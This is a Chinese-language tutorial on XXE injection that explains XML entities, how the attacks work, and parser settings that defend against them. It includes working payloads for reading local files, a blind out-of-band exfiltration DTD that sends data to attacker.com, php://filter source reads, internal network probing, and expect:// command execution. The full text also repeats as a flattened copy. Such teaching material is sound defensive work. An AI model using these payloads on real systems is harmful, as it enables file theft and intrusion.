xxe原理解析
字数 1113 2025-08-11 00:55:07

XXE漏洞原理与防御详解

一、XML基础与实体定义

XML(可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言。XXE(XML External Entity Injection)漏洞与XML的实体定义机制密切相关。

XML文档基本结构

<?xml version="1.0" encoding="utf-8"?> <!-- xml声明 -->
<!DOCTYPE copyright [ <!-- DTD定义开始 -->
  <!ELEMENT note (to,reset,login,secret)> <!-- 定义元素 -->
  <!ENTITY test SYSTEM "file:///c://test.txt"> <!-- 定义外部实体 -->
  <!ENTITY test2 "test2"> <!-- 定义内部实体 -->
  <!ENTITY % test3 "test3"> <!-- 定义参数实体 -->
  <!ENTITY % test4 "file:///c://test.txt"> <!-- 定义参数实体 -->
  %test3;
  %test4;
]>
<to>
  <reset>
    <login>&test;</login> <!-- 引用外部实体 -->
    <secret>&test2;</secret> <!-- 引用内部实体 -->
  </reset>
</to>

实体类型详解

  1. 内部实体:在DTD中定义且值直接写在实体声明中

    <!ENTITY test2 "test2">
    
  2. 外部实体:通过SYSTEM关键字定义,引用外部资源

    <!ENTITY test SYSTEM "file:///c://test.txt">
    
  3. 参数实体:以%开头,主要在DTD中使用

    <!ENTITY % test3 "test3">
    

重要区别

  • 参数实体在DTD中引用,其他实体在XML文档中引用
  • 实体定义中不能引用参数实体

二、XXE漏洞原理

XXE(XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果没有禁止外部实体的加载,攻击者可以构造恶意的XML实体来:

  1. 读取服务器上的任意文件
  2. 执行系统命令
  3. 扫描内网端口和服务
  4. 发起SSRF攻击

漏洞利用场景

1. 有回显的XXE

当服务器会返回XML解析结果时,可直接读取文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset>
  <login>&xxe;</login>
</reset>

2. 无回显的XXE(Blind XXE)

当服务器不返回解析结果时,可通过带外通道(OOB)获取数据:

攻击步骤

  1. 构造恶意DTD,引用外部服务器上的DTD文件
  2. 外部DTD文件中定义实体读取目标文件
  3. 通过HTTP请求将文件内容发送到攻击者服务器

攻击者构造的XML

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa [
  <!ENTITY % test SYSTEM "http://attacker.com/test.dtd">
  %test;
  %all;
]>
<reset>
  <login>aaa</login>
  <secret>&info;</secret>
</reset>

攻击者服务器上的test.dtd

<!ENTITY % file SYSTEM "file:///c:/secret.txt">
<!ENTITY % all "<!ENTITY info SYSTEM 'http://attacker.com/?log=%file;'>">

三、XXE漏洞防御

1. 禁用外部实体

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Python (lxml)

from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

2. 输入过滤

过滤用户提交的XML数据中的危险关键字:

  • <!DOCTYPE
  • <!ENTITY
  • SYSTEM
  • PUBLIC

3. 使用安全的XML解析器

  • 使用最新版本的XML解析库(libxml ≥ 2.9默认禁用外部实体)
  • 避免使用不安全的XML解析器

4. 服务器配置

  • 禁用不必要的协议(如file://, http://等)
  • 设置严格的Content-Type(如application/json而非text/xml)

四、高级利用技巧

1. 读取特殊文件

  • Linux系统:file:///etc/passwd
  • Windows系统:file:///c:/windows/system.ini
  • 读取PHP源码:php://filter/convert.base64-encode/resource=index.php

2. 内网探测

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">

3. 命令执行(需特定环境支持)

<!ENTITY xxe SYSTEM "expect://id">

五、参考资源

  1. XXE漏洞攻防原理
  2. OWASP XXE防御指南
  3. libxml安全配置

通过理解XXE漏洞的原理和防御方法,开发人员可以更好地保护应用程序免受此类攻击。

XXE漏洞原理与防御详解 一、XML基础与实体定义 XML(可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言。XXE(XML External Entity Injection)漏洞与XML的实体定义机制密切相关。 XML文档基本结构 实体类型详解 内部实体 :在DTD中定义且值直接写在实体声明中 外部实体 :通过SYSTEM关键字定义,引用外部资源 参数实体 :以%开头,主要在DTD中使用 重要区别 : 参数实体在DTD中引用,其他实体在XML文档中引用 实体定义中不能引用参数实体 二、XXE漏洞原理 XXE(XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果没有禁止外部实体的加载,攻击者可以构造恶意的XML实体来: 读取服务器上的任意文件 执行系统命令 扫描内网端口和服务 发起SSRF攻击 漏洞利用场景 1. 有回显的XXE 当服务器会返回XML解析结果时,可直接读取文件: 2. 无回显的XXE(Blind XXE) 当服务器不返回解析结果时,可通过带外通道(OOB)获取数据: 攻击步骤 : 构造恶意DTD,引用外部服务器上的DTD文件 外部DTD文件中定义实体读取目标文件 通过HTTP请求将文件内容发送到攻击者服务器 攻击者构造的XML : 攻击者服务器上的test.dtd : 三、XXE漏洞防御 1. 禁用外部实体 PHP : Java : Python (lxml) : 2. 输入过滤 过滤用户提交的XML数据中的危险关键字: <!DOCTYPE <!ENTITY SYSTEM PUBLIC 3. 使用安全的XML解析器 使用最新版本的XML解析库(libxml ≥ 2.9默认禁用外部实体) 避免使用不安全的XML解析器 4. 服务器配置 禁用不必要的协议(如file://, http://等) 设置严格的Content-Type(如application/json而非text/xml) 四、高级利用技巧 1. 读取特殊文件 Linux系统: file:///etc/passwd Windows系统: file:///c:/windows/system.ini 读取PHP源码: php://filter/convert.base64-encode/resource=index.php 2. 内网探测 3. 命令执行(需特定环境支持) 五、参考资源 XXE漏洞攻防原理 OWASP XXE防御指南 libxml安全配置 通过理解XXE漏洞的原理和防御方法,开发人员可以更好地保护应用程序免受此类攻击。